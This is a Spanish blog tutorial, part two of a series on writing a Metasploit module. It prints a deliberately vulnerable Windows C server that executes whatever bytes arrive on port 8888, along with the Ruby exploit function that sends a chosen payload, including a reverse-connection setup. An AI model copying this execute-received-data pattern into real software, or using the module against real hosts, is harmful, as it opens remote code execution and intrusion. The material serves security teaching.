30 sept 2013

How To: Cómo crear un módulo de Metasploit (Parte II)

En el pasado artículo hablamos de como crear un módulo de Metasploit. En el artículo de hoy vamos a mostrar el código del servidor utilizado para recibir la shellcode, enviada por el módulo de Metasploit y ejecutar dicho código.
Código en C del servidor
El servidor, mostrará el rol de aplicación vulnerable, mientras que el módulo creado en ruby para Metasploit hace de rol de exploit + shellcode. El servidor, por lo tanto, ejecuta lo que recibe.

#include<io.h>
#include<stdio.h>
#include<winsock2.h>
#define MAXBUFLEN 3072
#pragma comment(lib,”ws2_32.lib”) //Winsock Library
void x(char * Recv){((void(*)(void)){Recv})();}
int main(int argc , char *argv[])
{
WSADATA wsa;
SOCKET s , new_socket;
struct sockaddr_in server , client;
int c;
char *message;
char RecvBuff[MAXBUFLEN];
printf(“\nInitialising Winsock…”);
if (WSAStartup(MAKEWORD(2,2),&wsa) != 0)
{
printf(“Failed. Error Code : %d”,WSAGetLastError());
return 1;
}
printf(“Initialised.\n”);
//Create a socket
if((s = socket(AF_INET , SOCK_STREAM , 0 )) == INVALID_SOCKET)
{
printf(“Could not create socket : %d” , WSAGetLastError());
}
printf(“Socket created.\n”);
//Prepare the sockaddr_in structure
server.sin_family = AF_INET;
server.sin_addr.s_addr = INADDR_ANY;
server.sin_port = htons( 8888 );
//Bind
if( bind(s ,(struct sockaddr *)&server , sizeof(server)) == SOCKET_ERROR)
{
printf(“Bind failed with error code : %d” , WSAGetLastError());
exit(EXIT_FAILURE);
}
puts(“Bind done”);
//Listen to incoming connections
listen(s , 3);
//Accept and incoming connection
puts(“Waiting for incoming connections…”);
c = sizeof(struct sockaddr_in);
int recibido = 0;
if((new_socket = accept(s , (struct sockaddr *)&client, &c)) != INVALID_SOCKET )
{
puts(“Connection accepted”);
//Reply to the client
message = “Hello Client , I have received your connection. But I have to go now, bye\n”;
send(new_socket , message , strlen(message) , 0);
recibido = recv(new_socket, RecvBuff, sizeof(RecvBuff),0 );
if(recibido !=0)
{
printf(“final\n”);
int i;
for (i = 0; i < recibido; i++)
{
if (i > 0) printf(“:”);
printf(“0x%02x”, RecvBuff[i]);
}
printf(“\n”);
x(RecvBuff);
}
}
if (new_socket == INVALID_SOCKET)
{
printf(“accept failed with error code : %d” , WSAGetLastError());
return 1;
}
closesocket(s);
WSACleanup();
return 0;
}


PoC: Uniendo la ejecución del módulo MSF y la recepción en el servidor en C
Al arrancar el código en C, el servidor queda a la espera de las conexiones. Antes realiza las típicas acciones de crear el socket y el bind a la dirección IP y puerto que se quiere. Una vez el servidor recibe una conexión, se creará y se recibirá en un buffer un conjunto de bytes. Este conjunto de bytes lo que va a ser es una shellcode, la cual la elegiremos en el módulo de MSF, el cual fue desarrollado en el post anterior de la serie.

En Metasploit accedemos al módulo creado y configuramos el atributo PAYLOAD, donde podremos configurar el PAYLOAD que queramos, el valor de LHOST, en el caso de que sea una conexión inversa, de este modo el payload sabrá "volver a casa".

Por último, hay que configurar el RHOST, que será la dirección IP del servidor. Al final el comando de la magia, el comando exploit. Justo en ese instante se hace referencia a la función exploit que se define en el módulo. La recordamos a continuación:
def exploitconnect# Build the buffer for transmissionbuf = payload.encoded# Send it offsock.put(buf)sock.gethandlerend
Esperamos que os haya gustado estos dos artículos y que probéis el ejemplo, y veáis que puede ser fácil crear un módulo de Metasploit.

1 comentario:

  1. [...] El lunes arrancamos la semana con la segunda parte de How To: Cómo crear un módulo de Metasploit (Parte II) [...]

    ResponderEliminar